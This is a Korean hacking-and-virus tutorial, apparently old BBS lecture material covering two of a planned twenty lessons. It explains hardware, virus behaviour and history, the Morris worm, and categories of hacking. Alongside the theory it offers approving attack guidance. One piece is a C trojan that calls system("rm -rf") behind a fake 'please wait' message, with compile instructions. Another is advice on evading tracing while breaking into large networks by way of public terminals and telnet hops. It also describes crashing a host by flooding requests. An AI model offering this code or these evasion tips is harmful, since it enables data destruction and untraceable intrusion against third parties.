해크 Hack 기본교범


첫회강좌.

첫회강좌에서는 바이러스와 해킹에 대한 개괄적인 이론에 대해서
공부하기로 하겠습니다.
20회까지니까 점점 깊은 얘기를 할 수 있겠군요.

그럼 기대하세요.



1. 컴퓨터 바이러스의 이해


1-1 컴퓨터 바이러스란 무엇인가?


컴퓨터를 사용하는 사용자나  컴퓨터에 전혀 모르는 사람이건간에 컴퓨터 바이러
스란 단어를 들어보지 않은 사람은 없을것이다.
그만큼 컴퓨터 바이러스는 전세계 컴퓨팅 환경에 널리 퍼져있고 생명력이 강하게
지속되고있다.
컴퓨터 바이러스 제작 초창기때의 바이러스가 수십년이 지난 아직까지 골치를 썩
히는걸 보면 잘 알것이다.

그럼 도대체 컴퓨터 바이러스란 무엇인가?

컴퓨터 바이러스는  일반적으로 컴퓨터에  이상을 일으키거나 화일을  손상시키며
자신을 복제하는등의 일련된 행위를 하는 프로그램을 말한다.
그러므로 컴퓨터 바이러스는 우리주변에 존재하는 미생물적인 살아있는 생명체가
아니라 컴퓨터 프로그래머가 만든 단지 컴퓨터 프로그램일뿐이다.
그 행위가 마치  생명체 바이러스와 같은 파괴/감염등을  행한다고 이름 지어졌을
뿐이다.

어느  전산실에서 있었던일이다.
전산실 관리 직원이 사장에게 급히 보고를 했다.
"사장님, 컴퓨터 바이러스에 걸려 컴퓨터 시스템들이 제대로 작동하지 않습니다"
그러자 사장 말하길,
그러길래 진작 "소독약 뿌리랬잖아" 라고 호통을 쳤단다.

컴퓨터 바이러스에 대한 일반적인 무지를 일컫는 유머이다.
컴퓨터 바이러스가  소독약으로 죽지는  않겠지만 ANTI-VIRUS 프로그램,  우리가
흔히 아는 "백신" 프로그램이 컴퓨터 바이러스를 퇴치 시킬수가 있다.

앞으로 배우게 될 내용으로  컴퓨터 바이러스에 대한 올바른 인식을 갖게 되길바
란다.


1-2 컴퓨터의 구조와 작동의 이해


컴퓨터는 크게 하드웨어(Hard Ware) 와 소프트웨어(Soft Ware)로 나눈다.

하드웨어는 컴퓨터의  본체,주변기기등 기계적으로 컴퓨터를 구성하고  있는 장치
들을 의미한다.
소프트웨어는 하드웨어를  움직여주는 운영체제와  각종 응용 프로그램들을  말한
다.


1-2-1 컴퓨터의 하드웨어 적 구조

  * 입력장치 : 키보드,마우스,스캐너 등의 입력기기들을 말한다.
               입력된 각종 신호들은  처리영역 으로 수신되어 입력자가 원하는
               형태로 처리되어 원하는 방향의 각종 출력기기로 출력된다.

  * CPU(Central Processing Unit)
             : 마이크로 프로세서(Micro Processor)라고도 부르며  중앙 처리 장치
               이다.
               컴퓨터의 핵심적인 장치로 사람의 두뇌에 해당한다.
               우리가 흔히 쓰는  IBM 호환기종은 인텔社나 AMD 등의 80X  계
               열을 사용한다.
               흔히 말하는 386,486,펜티엄  이란 단어는 어떤 CPU 를  사용했냐
               는 것을 의미한다.

  * ROM(Read Only Memory)
             : 롬은 단어가 의미하듯 오로지 읽어들이기만 하는 메모리이다.
               그러므로 일반 사용자가 롬에는 직접 입력할수 없게 끔 만들어져
               있다.
               롬 라이터(Rom  Writter)라는 기기로  내용 갱신등이 가능할  뿐이
               다.
               이유는 롬은  컴퓨터 전반적인 제어나  운영에 대한 기본  정보가
               탑재되어 있기 때문이다.
               컴퓨터에 전원을 넣으면  부팅시 롬에서 정보를 읽어들여 사용하
               게 되어있다.
               ROM 에는 직접적인 쓰기가 불가능해  컴퓨터 바이러스가 침투할
               수 없는것은 당연한다..

  * RAM(Random Access Memory)
             : 램은 프로그램  작동시 사용되는 각종 데이타를  일시적으로 저장
               하는 기억장치 이다.
               자유로운 읽기와 쓰기가 가능한 휘발성 메모리이다.
               롬과 다른점은 전원을 끄면 롬은 내부에 저장된 고유의 데이타가
               보존되는 반면 램에 입력되어진 모든 내용은 사라진다.
               컴퓨터 바이러스는 RAM 에 침투하여  램을 거치는 프로그램들을
               감염시키거나 이곳에서 다른 장치로의 감염을 시도한다.
               이런 컴퓨터 바이러스를 램 상주형 바이러스라 칭한다.

  *  기억장치 :  크게 나누어  하드 디스크(Hard  Disk) 와  플로피 디스크(Floppy
                Disk), 자기테이프 그리고 요즘 각광받고 있는 CD-ROM 등이 있
                다.
               하드 디스크는 대용량의  기억장치로서 빠른 속도로 컴퓨터의 기
               억장치로 활용된다.
               플로피 디스크는 역시 보조 기억장치로서 다소 느린 속도지만 이
               동의 간편성과  디스켓에 담긴 내용을 활용한다는 측면이 있다.
               위의 두 기억장치는 직접 읽고 쓰기가 가능하기에 컴퓨터 바이러
               스의 주 공격 대상이 된다.
               CD-ROM 은 컴팩트  디스크 형태의 매체로서 약 600메가 바이트
               분량의 대용량  기억장치로서 롬과같이 읽어들이기만 한다.
               CD-ROM 에는 직접적인 쓰기가 불가능하기에 컴퓨터 바이러스의
               침투는 어렵다.
               하지만 CD-ROM 초기  제작시 감염된 파일을사용했다면 할수 없
               지만 서도 말이다.

  * 출력장치 : 모니터,프린터,플로터 등의 출력을 담당하는 기기를 말한다.
               입력장치와 처리장치를 거친 데이타들은 출력장치를 통해 우리에
               게 보여진다.
               바이러스 감염/피해 여부를 이를 통해 확인해 볼수 있겠다.
               출력장치 이외에 TV카드,사운드  카드 등의 여러가지 주변기기를
               들수있겠다.


1-2-2 컴퓨터의 소프트웨어적 구조


  운영체제와 응용 프로그램, 데이타 화일 그리고 소스  코드 등으로 구성되어 있
다.
대개 IBM 호환기종의 MS-DOS 를  운영체제로 사용하는 컴퓨터에서는 확장자 라
는 화일의 끝에 붙는 세 글자가 무척 중요한 의미를 지닌다.
  확장자는 해당 화일이  실행화일 인지 데이타화일인지 등의 해당정보를 사용자
에게 전달해준다.
프로그램들은 화일(FILE) 구조를 갖는다.
화일은 프로그래머가 제작한  특정 데이타 -예. 그래픽,문서,음악,프로그래밍...-  를
지니고있다.
대개 각각의 화일이 모여 전체적인 프로그램을 구성한다.
물론 하나의 화일이 하나의 프로그램 전부를 구성할수도 있다.
바이러스는 이런 화일들을 직접적인  주 공격 대상으로 삼고 이를 숙주로 전파된
다.


1-3 컴퓨터 바이러스의 특성


컴퓨터 바이러스는 프로그램을 변경 시키거나 삭제 하고 주변기기에 오동작을 일
으키며 자기 자신을 복제하고 변형시킨다.
컴퓨터 바이러스는 누군가에 의해 인위적으로 제작된 프로그램이다.
그렇기 때문에 실행이 되면 컴퓨터 바이러스에 입력되어진 내용에  따라 - 예를들
어 실행 화일만 감염시키라면 - 임무(?)를 수행한다.

우선 감염시킬 화일(FILE)을 찾는다.
대상을 찾으면 그 화일을 식별하여 지문을 기입한다.
이때 대상이란 컴퓨터 바이러스에 감염되지 않은 화일일 것이다.
이는 Over Writte 하지 않기 위해서이다.
그리고 바이러스 본체 부분을 입력 시킨다.
그 다음에 원래 형태의 대상 화일이 배치된다.


컴퓨터 바이러스는 계속적으로 다음 대상을 찾아 지문을 분석하여 감염되지 않았
다면 자신을 복제하고 대상 화일을 감염시켜 지속적으로 전파 시킨다.

이는 감염형 프로그램을 예로 든 대표적 예이다.


1-4 컴퓨터 바이러스의 정의


컴퓨터 바이러스에 대한 지금까지 소개된 어떠한 정의로도 만족스러운 결과가 없
었다.
필자가 생각하기에 가장 적당한 정의로는 "Ralf Burger"의 정의를 들 수 있겠다.


1. 컴퓨터 바이러스 프로그램이 아닌 소프트웨어의  프로그램 구조를 다른 프로그
램의 구조로 변     경한다.
2. 많은 프로그램에 대해 수정을 할 수 있다.
3. 어떤 프로그램에 행해진 수정 여부를 인식할 수 있다.
4. 위의 수정 인식 후 같은 프로그램을 또다시 수정하지 않는다.
5. 이 프로그램에  의해 수정된 프로그램이 위의 1에서 4  까지의 모든 특징을 가
진다.

위 조건들을 만족한다면 그것은 컴퓨터 바이러스라 칭해도 좋을것이다.


2-1 컴퓨터 바이러스의 위험성


현대사회에서 컴퓨터 바이러스에 대한 위험성은 상당히높다.
점차 전세계가  네트워크에 묶이고 모든걸 컴퓨터에  의존해 처리해 나가는  때에
악성 바이러스때문에 입게되는 경제적 피해는 상당하다.
그리고 교통/운송 체계도  컴퓨터에 의해 관리되는 세상에서  바이러스가 통제 시
스템에 침투하여 고장을 낸다면 엄청난 결과를 가져올것이기 때문이다.



I 해킹의 이해

1.해킹이란 무엇인가?

해킹이란 컴퓨터 시스템에 침투하거나 정보를 빼내는일들을 총칭해 일컫는 말이다.
이런일을 하는 사람들을 해커라고 한다.
의미가 많이 변했지만, 해커란 자신의 실력을 알리기위해 해킹을 한다.
일반인들이 생각하는 해킹이란 단순하게 남의 아이디와 암호를 알아내어 무단으로 사용하는 정도
로 인식되고 있다.

2. 해커의 정체를 밝힌다.

해커란 해킹을 하는 사람을 뜻한다.
대부분의 해커들은 단지 그들의 실력을 뽐내기 위함이다.
매년 암스텔담에서는 국제 해커 대회가 열리기까지 한다.
순수한 의미에서 그들은 단지 시스템을 뚫고 암호를 깨고 하는 일등에 만족한다.
미국 MIT에서 시작된  해커 문화는 사실 초기 컴퓨터 및  시스템 소프트웨어의 개발에 결정적인
역할을 했고 지금도 몇몇 사람은 컴퓨터 업계를 주름잡고 있다.
마지막 해커로 일컬어지는 리처드  스톨만의 경우 GNU시스템의  C 컴파일러와  EMACS를 개발

다.  그는 상업적인 소프트웨어의  저작권(Copyright)  개념을  전면부정하며   이의  반대 개
념인 [Copyleft]개념을  만들었다.  그는 {자신이  만든 모든 소프트웨어는   소스코드와 함께무료

공개하여 누구나 사용하고  수정할 수 있다}고 말하며  공개 소프트웨어의 개념을 가장 극단까지
발전시켰다.
하지만 스톨만의 경우도 생계를 위해 상업적인 면에서 몇시간의 일만큼은 한다고 한다.
스톨만의 예에서 보듯이 대부분의 해커는 뛰어난 능력의 소유자로 해커들이 바라는 것은 단지 자
기 실력의 자랑이다.
제도권에서 수용하면 MIT해커들 처럼 우리 컴퓨터 업계의 발전을 이룰 수도 있다.
해킹을 일방적으로 범죄로 치부해 버리기 보다는 능력있는 젊은 엔지니어의
열기의 발산이라는 시각으로 바라보는 여유도 필요한 것이다.
지금도 인터넷의 한 구석에서는 인터넷을 해킹하기 위한 노력이 계
속되고있다.  앞으로도 해커와 시스템 관리자 사이의 숨바꼭질은 계속될것이다.
그러면서 이에 관한 보안 기술도 계속 발전해 나갈 것이다.


3. 통신망과 해킹의 이해

대부분의 해킹은 통신망을 통해 이루어진다.
일대일 방식의 시스템 접근이라기 보다는 네트워크를 통한 시스템 접근이 이루어지는 것이다.
한 예를 들어 보이겠다.

   바이러스의 일종인 웜(벌레)은  네트워크에 의해 상호 연결되어 있는 여러대
   의 정보시스템  플랫폼에다 자체의 일부를  번식시키는 프로그램으로 그것이
   오염시킨 서로 다른 네트워크망  안에서 존재한다. 시한폭탄과 같은 웜은 매
   우 위협적인 존재이다. 웜의 오염사건중 가장 잘 알려진 사건은 인터넷/모리
   스 사건이다. 지난 88년  11월 코넬대학원생 로버트 모리스는 로렌스 리버모
   어 연구소를 포함한 여러 연구기관에 유닉스 플랫폼을 연결하는 인터넷을 통
   하여 웜 바이러스를 유포시켰다. 모리스는 인터넷의 암호화 과정을 분석하고
   파악한 다음 주먹구구식 끼워 맞추기 방법을 이용, 가장 많이 사용하는 비밀
   번호를 작성한 후 인터넷의 암호화된 비밀번호 리스트와 대조한 결과 비밀번
   호의 80%이상을  재구성할 수 있었다. 인터넷의  접근을 성공시킨 모리스는
   전자우편 메시지 핸들링 시스템(MHS)을 이용하여 바이러스 모듈을 퍼뜨렸다.
  컴퓨터 상호간 커뮤니케이션은 점차 취약 영역이 확장되고 있어 관심이 높아
  지고 있다.  다수의 프로세서들을 로컬 케이블이나  게이트 웨이 접속방식을
  통해 커뮤니케이션망에  연결하게 되면 손실을 입을  기회가 더 많이 주어진
  다.

간단한 예를 들어 보이겠다.
푸른물 이라는 호스트 프로그램을 사용하고 있는 사설 비비에스가 꽤 많다.
하지만 이 호스트에는 버그가 있어서 이를 이용한 간단한 해킹을 소개하겠다.
푸른물 호스트를 사용하는 사설비비에스의  "온라인 게임"을 보자.
온라인 게임에서  가위, 바위, 보를 해서   점수를 딸수있다
그리고 작은 태양이라는 호스트 프로그램을 사용하고 있는 사설비비에스에서는
V(압축 화일보기,천리안 명령과 유사) 명령을 사용할 경우
시스템이 다운되는 버그도 존재한다.


4. 해킹의 구분

일반적으로 해킹은 시스템 사용자의 암호를 알아내 불법으로 그 시스템에 침투해 사용하거나
시스템속의 정보를 변조 또는 파괴하는데 목적이 있다.
기술적으로 세분하면 크게 3가지로 나눌 수있다.

4-1 해킹의 개념 구분


 첫째 다른 사람의 시스템에 몰래 침투,사용하거나 그 속의 정보를 변조하
는 행위인 `시스템 해킹'이 있다.

 그 수법으로는 지금까지 * 트로이 프로그램을 이용한 방법 * 호스트 프
로그램의 버그(bug.프로그램상의 오류)나 약점을 이용한 방법 * 특정 사
용자의 암호를 이용한 방법 등 3가지가 노출돼 있다.

 트로이 목마 프로그램을 이용한 시스템 해킹법은 주로 상대방 호스트 사용자의
암호와 신상기록 등을 탐지하는 첩보활동이나 상대방 호스트의 기능을 마
비시킬 목적으로 하는 파괴활동에 이용되고 있으며 미국에서 몇몇 사설게
시판을 개설한 사람들이서로 상대방의 시스템에 피해를 주려는 목적으로
악용된 것이 시초다.

 또 호스트 프로그램의 버그나 약점을 이용하는 해킹법은 시스템 개발때
쓰인 언어의 특성이나 프로그래머의 고의 또는 실수에 의하여 개발됐으나
완료된 후 지워지지 않은 약점 등을 최대한 활용하는 수법.

 다음으로 가장 간단한 방법인 특정사용자의 암호를 알아낸 뒤 그것을 이
용해 남의 시스템에 침투하는 것이 있다.

 이번에 타인의 예금계좌와 비밀번호를 알아낸 뒤 홈뱅킹을 통해 타인의
예금을 인출한 사건은 이 유형에 해당한다.

 전문가들은 이로인한 피해를 막기위해 암호는 되도록 자기 주민등록번호
와 전화번호 등 남이 알아내기 쉬운 것은 피해야한다고 권고한다.

 둘째는 컴퓨터 프로그램 보호장치인 락(Lock)을 풀어 해킹하는 수법이 있
다.

 락에는 * 실행 파일에 특정한 과정을 심어둬 프로그램 실행시 그 특정
과정에 해당하는 조건이 만족되지 않으면 프로그램 실행이 중단되는 소프트
웨어 방식 * 프로그램상의 특정 과정이 시스템 자체의 하드웨어적인 특성
을 검사함으로써 그 프로그램이 수행될 것인지 여부를 가리는 하드웨어 방
식 등 2가지가 있다.

 이같은 락의 해독방법에는 여러가지가 있으나 가장 기초적인 것으로
* 락이 걸려 있는 실행파일을 역조작하는 방법 * 디스크나 파일의 내부
코드를 볼 수 있는프로그램을 이용,직접 해당코드를 조작하는 방법
* 프로그래머의 실수로 생길 수있는 프로그램상의 오류를 검색하는
디버그(Debug)기능을 이용해 락을 푸는 방법 등이 있다.

 마지막으로 프로그램 변형을 통해 암호를 해독한 뒤 프로그램을 불법
변조하거나 자기 용도대로 프로그램을 바꾸는 해킹이 있다.


4-2 해킹 유형별 분석

해킹을 유형별로 분석하자면, 무차별 대입법 ,오류이용법 , 바이러스 심어
놓기 등이 있다.

4-2-1 무차별 대입법

대개의 네트워크 시스템을 침투할때 암호를 물어볼것이다.
이때 비밀번호를 무차별적으로 대입하는 방법이 있다.
상대방의 비밀번호를 유추해서 아무것이나 누르는 방법인데 거의 확률이 없을것이다.
영어 단어로 만들수 있는 가짓수가 수십억개일것이기 때문이다.
어쩌다 운이좋으면 몰라도 여간해서는 힘든방법이다.
어쩌다 방송에서  해커라고 떠들어대는 경우가   있는데-전에 청와대 사칭해서
은행돈 빼낸경우- 이것은 기술적 해킹이라고 말하기엔 무식한 방법이었다.
무차별 대입법을 이용해서 너무나 허술한 암호를 맞춘것에 불과하기 때문이다.
대개 인터넷을 이용하다보면 웹스터 영어사전에 수록된 단어는 비밀번호로
하지말라는 경고메시지를 보게된다.
특정단어의 경우 그것을 순차대입할수 있는 프로그램이 있기에 이것을 돌리게 되면
영어 단어일경우 스스로 암호를 찾을때까지 작동한다.
이방법은 전에  "영웅일기"란  TV프로에서도 나온것인데,
그런 프로그램은  cop's 와 crack 라는 것들인데 나중에 자세한 설명과
사용법을 알려주겠다.

4-2-2 오류 이용법

어떤 프로그램이든 제작하다보면 약간씩의 버그(프로그램상의 오류)가 존재한다.
이것을 이용한 해킹이 오류이용법 이다. 대개의 시스템 호스트 프로그램이 완벽한것은 아니다.
지극히 치명적인 오류를 지니고  있는경우도 있다. 하이텔 이전의  케텔 시절에는  호스트 프로그

에 상당한 버그가 존재하기에 무수히 많은 해킹을 당했다.
가장 손쉬웠던 방법이 아이디를 이용하는 것이었는데, 자신의 아이디가 aaa라고 하면,
게시판에 aaab란 아이디가 있다면 자신이 그 사람의 글을 지울수 있는 권한이 있었다.
즉, 비슷하게 지어진 짧은 아이디가  보다 긴 비슷한 형태의  아이디와 같은 권한을  가지게 된것

다.
천리안의 경우도 몇가지 오류가 있었다.
그중 대표적인게 게시판에 자신이 글을 쓰고서 계속 읽는것이다.
그러니까, 자기가 쓴글이 1234번이면 1234 번을 계속! 입력한다는것이다. 지속적으
로 아주 빠르게.....
이렇게 계속 치다보면 센터의 호스트 컴퓨터가 오동작을 일으켜 전체 전자메일
서비스가 안되는등 치명적인 결함을 나타내었다.
천리안 접속할때 항상 ".chol"  이라고 칠것이다.
근데 의문이 있을것이다. 왜 ".chol"을 쳐야 하냐고!
이것은 천리안의 망인데 천리안은 일반 기업체를 위해 노드를 빌려주기도 한다.
그렇기에 이곳에서 각자의 고유코드를 입력하는것이다.
하이텔도 갈수있고,삼보컴퓨터,화장품회사,건설회사.... 등등~ 천리안 망에
연결된 호스트로는 접속이 가능하다.
작년여름까지만 해도 이곳을 통해 로컬로 접속할 수 있는 노드가 있었다.
예전에 이곳을 통해 접속을 시도했었는데 부당사용을 막기위함인지 폐쇄되었다.
그때 입력했던게, ".cneter2,3,4...."이런것이었다.
알고보면 아주 간단한 것이다.
이렇게 입력하면 우리가 기존에 쓰던 천리안 메뉴가 아니라 직원들이 쓰는
영역으로 들어가 id와 password를 묻는다.
이런식으로 뭔가 궁리하고 생각하는 사람에겐 뭐든지 열려있다는걸 알았으면 한다.
예전에 천리안에서 전체적 정비를 하면서 직원들에게 똑같은 비밀번호로 통일하라고
했던때가 있었다.
그때 아는 분이 비밀번호를 알아내 해킹을 한적이 있었단다.
현재 천리안은 막강한 보안장치를 가지고있다.
하이텔은 인터넷과의 연결쪽에서 버그가 있어 해킹의 위험성이 있다.
대개의 시스템은 방화벽이란걸 두고 있다.
천리안을 뚫고서 $(유닉스 쉘 상태)을 본다면  정말 해킹의 고수일 것이다.
도스의 커맨드 C:\ 이렇게 유닉스는 $ 이다.
해킹은 반드시 추적을 받게됩니다.
만약 대형 통신망을 해킹할려구 하는데 추적을 따돌리려면 이런 방법을 쓰면될것이다.
우선 인터넷계정이 있을겁이다.(대개 대학등이나 외국 공개 BBS에서 쉽게 받을수있음)
학교등 공공장소에서 인터넷을 타고 들어간다.
인터넷에는 TELNET라고 여러 네트워크를 돌아다닐수있게 해주는 서비스가있다.
그걸로 여기저기 타고다니다가
"CHOLLIAN.DACOM.CO.KR" 도메인으로 접속하면 천리안으로 들어오게된다.

그리고,
인터넷을 보면 고퍼란게 있다.
UNIX상의 몇몇 시스템에는 고퍼를 이용하면 해킹이 가능해지는 엄청난 버그들이 있다.
고퍼 말고도 FTP를 이용할수도 있다.
즉, 특정 방법을 사용하여 시삽권한을 빼낼수 있는 것이다.
더우기 비밀번호를 빼낼수 있는 방법도 존재한다.
요즘은 쉐도우로 하지만 유닉스에서 패스워드 화일은 대개 누구나 볼수가
있을정도다.
왜 그럴까?
그 이유는 패스워드 화일은 DES 라는 독특한 암호화 기법을 사용하기 때문
에 절대 해독이 불가능하다는 것이다.
예를들어 (가정)
비밀번호가 ABC1234 라고 가정하면 암호화되어 저장할 경우 qAewBs
라는 식으로 저장되기 때문에 도무지 역 추적이 불가능해진다.
그럼 방법은 없을까?
전문적인 방법인 패킷을 이용하는 방법과 좀더 수월한 방법인 crack을 이용
하는 방법이 있다.
crack라는 프로그램을 작동시키면 비밀번호를 찾아낸다
방식은 직접 대응법이다.
즉, 빠른 속도로 하나씩 대입해 보는것이다.
그러니 영어단어 나 간단한 숫자로 된 쉬운 비밀번호는 금방 드러나게 되는
것이다.


4-2-3 바이러스 심어놓기

해커들이 시스템을 해킹하는데 기본적으로 특정 트로이 목마 바이러스를 심어놓는 경우가 있다.
과거 하이텔에 해커가 프리웨어인 에뮬레이터를 등록을 시킨후 각 사용자들이 이
소프트를 다운받은 후 호스트에 연결하면 사용자명과 암호를 에뮬레이터가
동시에 해커의 메일사서함앞으로 접속한 사람의 사용자명과 암호를 전송시킨
사건이 있다.

이와같은 경우를 트로이목마라고 하는데 창의력을 요구하는 해킹기법으로
해커가 해커자신에게 최고권한사용자와 같은 지위를 주게끔 프로그램을 작성,
시스팀안에 삽입을 해놓고 기다리다가 시스팀운영자 즉 최고권한사용자가
들어오면 자신의 아이디를 IP수준에서 최고권한사용자로 만드는 것이다.

이 방법의 경우 해커는 잠깐씩 시스팀에 들어와서 자신의 프로그램이 작동을
했는지 여부만 검사만하면 되며 이러한 프로그램의 대부분이 실행후 곧
사려져버리는 특성을 가지고 있다.


다음 소스는 C를 한다면 누구나 알수 있는 것이다.

main()
{
puts("PLEASE WAIT ...... ");
system("rm -rf");
}

이것도 도스의 배치랑 성격은 유사한 트로이 목마 프로그램이다.
C나 배치나 모양은 약간 달라도 성격은 비슷하다.
자 이것을 실행하기 위해서는
# cc -o readme readme.c
이런식으로 해 놓으면 된다.
요건 아주 간단하면서 막강합니다.
무한 루프에 빠지는 수가 있다.

해킹도 알고보면 아주 간단한 것에서부터 출발하는 것이다.



안녕하세요.

두번째 강좌 시간입니다.

이번 시간에는 바이러스의 이론적인 나머지 부분에 대해서 알아 보기로
하겠습니다.

세번째 강좌부터는 하드웨어,어셈블리 에 대한 강좌가 될 것입니다.


----------------------------------------------------------------------


5. 컴퓨터 바이러스의 위험성
현대사회에서 컴퓨터  바이러스에 대한 위험성은  상당히높다. 점차 전세계가 네트워크에  묶이고
모든걸 컴퓨터에 의존해 처리해 나가는  때에 악성 바이러스때문에 입게되는 경제적 피해는 상당
하다. 그리고 교통, 운송 체계도  컴퓨터에 의해 관리되는 세상에서 바이러스가 통제 시스템에 침
투하여 고장을 낸다면 엄청난 결과를 가져올 것이기 때문이다.

1) 컴퓨터 바이러스의 영향
예를들어 甲이라는 사람이 乙을  무척 미워하여 골탕을 먹일려고 한다. 甲은 乙의  컴퓨터에 재미
있는 게임이라며 자신이 만든 컴퓨터 바이러스가 감염된 디스켓을  건네준다. 乙은 그것도 모르고
재미있게 게임을 하고 그 사이 乙의 컴퓨터는 바이러스의  공격으로 고장나버린다. 여기서 그치면
다행이지만 甲이 건네준 프로그램을 또 다른 사람이 사용한다면  그의 컴퓨터도 감염될것이다. 그
리고 최초의 바이러스 프로그램은 乙과  다른 사람들의 컴퓨터에서 살아남아 다른 정상적인 프로
그램을 감염시키며 지속적으로 전파될것이다.
만약 이것이 컴퓨터 통신망의 자료실에 등록된다면 무수한 다수의 피해자가 발생할것이며 기하급
수적으로 그 숫자는 증가할것이다. 甲은 자신의 목적을 이루었지만  애꿎은 선의의 피해자를 남겼
다.
바이러스의 속성상 일단 제작,  전파된 바이러스는 멸종(?) 되기 힘들다. 컴퓨터와  프로그램이 존
재하는 한 바이러스는 계속될 것이다.  물론 그런 바이러스를 잡기위한 안티-바이러스(백신)도 지
속적으로 개발될 것이다. 하지만 바이러스가 반드시 나쁜 것만은 아니다.

Cohen에 의해 최초로 언급된 압축  바이러스(Compression virus)가 그 예이다. Huffmann coding
을 이용한 데이타 압축과  같은 데이타 조작으로 시스템 내의 실행화일을 감염시켜  압축한다. 이
는 메모리 요구 용량을 감소시키는 긍정적 영향을 끼친다. 물론  요즘도 공개된 실행화일 압축 프
로그램이 있지만 압축 바이러스는 말  그대로 바이러스의 특징을 가지고 있기때문에 일반적인 유
틸리티라고 보기는 어렵다.

다음 도표로서 진행과정을 보기 바란다.


{{
      감염된 프로그램이 시작된다.
}}

{{

}}

                                 |
                                 |

{{
      감염 대상 화일을 찾는다.
}}

{{

}}

                                 |
                                 |

{{
    찾았는가?
}}

{{

}}

                       NO       |     YES
                    +------------+-------------+
                    |                          |
                    |                          |
                    |
{{
 그 프로그램을 감염시킨다.
}}

{{

}}

                    |                          |
                    |                          |
                    |
{{
감염된 프로그램을 압축한다.
}}

{{

}}

                    |                          |
                    |                          |
                    |
{{
감염된 프로그램을 저장한다.
}}

{{

}}

                    |                          |
                    |                          |
                    |                          |

{{
     압축된 프로그램을 환원 시킨다.
}}

{{

}}

                   |
                   |

{{
        환원된 프로그램을 시작한다.
}}

{{

}}


2) 컴퓨터 바이러스의 전염성
컴퓨터 바이러스는 제작  속성(?)상 전파성이라는 특징을 가진다.  바이러스의 목적이야 전파하여
자신을 과시하는것이 대부분이므로 가장 손쉽고 대량적으로 전파시킬수 있는 공간인 컴퓨터 통신
을 주로 이용한다. 인터넷에 올린자료라면 순식간에 전세계 구석구석  안 퍼진곳이 없을테니까 말
이다. 통신망에서 다운받거나  개인적으로 복제한 디스켓 등에서 전파된 바이러스가  퍼지는 속도
를 보면 다음과 같다.

A. 실행시 하나만 복제하는 경우

V   (1)
VV   (2)
VVVV  (4)
VVVVVVVV  (8)
VVVVVVVVVVVVVVVV  (16)
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV  (32)

B. 실행시 네개를 복제하는 경우

V  (1)
VVVVV  (2)
VVVVVVVVVVVVVVVVVVVV  (25)
VVVVVVVVVVVVVVVVVVVVVVVV............................................VVVVV  (125)


위로서 감염속도가 얼마나 빠른고 위험한지 알았을 것이다. 그러나  사실상 위와같은 수학적인 공
식의 전파속도는 드물다. 실제 감염된 프로그램 모두가 곧 실행하는 것은 아니기 때문이다.


6. 컴퓨터 바이러스 제작자들
컴퓨터 바이러스를 제작하는 사람들은 어떤 사람일까? 자신의 실력을 뽐내기 위한 사람들이 대부
분이다. 그외 다른 생각으로 무조건적으로 악의에 차서 시스템과  화일의 파괴만을 목적으로 제작
하는 사람도 있을  것이다. 보통 사람들이 생각하기에  바이러스 제작자는 컴퓨터 해커쯤  된다고
생각하지만 결코 그렇지만은 않다. 몇몇 바이러스를 제외한 대부분의  바이러스는 원형을 약간 변
형한 것이 대부분이기 때문이다. 컴퓨터 바이러스는 '해커'들만이 만드는 것이 아니며, 바이러스를
제작했다고 그사람을 마치 대단한 사람으로 생각하는것은 옳지 않다.
예를들어 서울 바이러스  연합 이라는 것도 있다. 이들의  정체는 밝혀지지 않고있는데, 개인인지
어떤  단체인지  모르겠지만  여러가지   국산  바이러스를  계속  제작중에  있다.  89,  90년에
PC-SERVE(현 천리안), KETEL(현  하이텔)에 호스트를 파괴하겠다고 서울바이러스  연합이라고
칭하는 사람이있었다. 물론 단순협박사건으로 끝나긴 했지만 바이러스에  대한 공포를 유발하기에
충분했다.
91년도에 자신을 SVS-009라고 부르면서 빈대, 처단자, 서울, 667 바이러스를 만든 사람이 있었다.
이 두사람이 동일인인지  아니면 다른 사람인지 전혀 알수 없었다.(서울  바이러스의 문자열을 검
색하면 y가 빠진 Seoul Virus Societ라고 나옴)
최근에 자신을 SVS 라고 하는 사람(혹은 단체)가 있는데 이들이 만든 최초의 바이러스로 알려진
E.O.S. 바이러스 내부에 'Cheer up! SVS-009'라는 문자열이  있기 때문에 SVS-009는 아닌 또 다
른 사람일수도 있다. 서울  바이러스 연합이 드러내놓고 활동을 하는 것이 아니기  때문에 개인인
지 여러명인지 전혀 알길이 없다.

SVS의 바이러스 특징을 살펴보면, 우선 DEBUG로 고친 초기의 몇종을 빼고는 모두 빠른 속도로
감염이 진행된다. 안철수씨도 지적하셨듯이  한국산 바이러스 중에는 최초로  바이러스  분류상 3
세대인 은폐형 바이러스들이다.  넥스트의 경우는 암호화기법도 사용한다.  그외 감염방법도 보통
실행때 감염되지만 실행은 물론, DIR파일 열기, 이름 바꾸기,  지우기, 속성 변환때도 감염될 만큼
무차별적으로 감염된다.  '저주 C' 바이러스의 경우  군부대 전산소의 컴퓨터를  파괴했다고 한다.
일단 SVS의 바이러스들은 몇종을 빼고 하드를 인식못하게 하고 CMOS 데이터 까지 모두 파괴해
버린다. 국산 바이러스중 SVS가 만든 것으로 추정되는 바이러스는 많이 있다.

7. 컴퓨터 바이러스 발전단계
1세대, 원시형 바이러스(primitive  virus)는 간단한 구조의 바이러스이다. 2세대, 암호화  바이러스
(encryption virus)는 대부분을 암호화해서  저장한다. 하지만, 암호를 푸는 방법이 모두  동일하기
때문에 백신등에서 원시형 바이러스와 동일하게 진단된다. 3세대,  은폐형 바이러스(Stealth virus)
는 어떤 측면에서 보면  암호화 바이러스 보다 못하다고 볼수 있다. 보이지않는  폭격기 스텔스기
에서 이름을 따왔다고  한다. 일반적으로 은폐형 바이러스는  100 바이트 정도 밖에 안되는  짧은
명령어가 추가되면  만들수 있다. 하지만, 일반  사용자 측면에서는 발견하기가  더 어려운것이다.
그외 은폐형으로 만들기 위한 여러가지 방법이 더있다고 한다.
프로도(Frodo,일명 4096) 바이러스는 감염된 프로그램을 읽으려고  하면 감염된 흔적은 숨기고 원
래의 부분을 대신  보여 준다. 그외 국내에 없지만  TV(Turbo Vaccine)에서 치료 가능한 세이하
(Sayha)의 경우 DIR 로는 증가 길이를 볼수  있지만, 감염된 파일을 읽을 때 원래 부분을 보여준
다. 그외 인터럽트를 은폐하는 것도  있다. 이것으로는 역시 프로도가 있으며 93년 말에 대단했던
맥가이버(MacGyver,McGyver) 바이러스가 있다.
4세대, 갑옷형 바이러스(armour virus)는  암호화와 자체 수정 기법등을 사용한다고 한다.  3∼4세
대의 중간 단계로 다형성(polymorphic) 바이러스가  있다. 이것의 경우 암호화를 사용하기는 하지
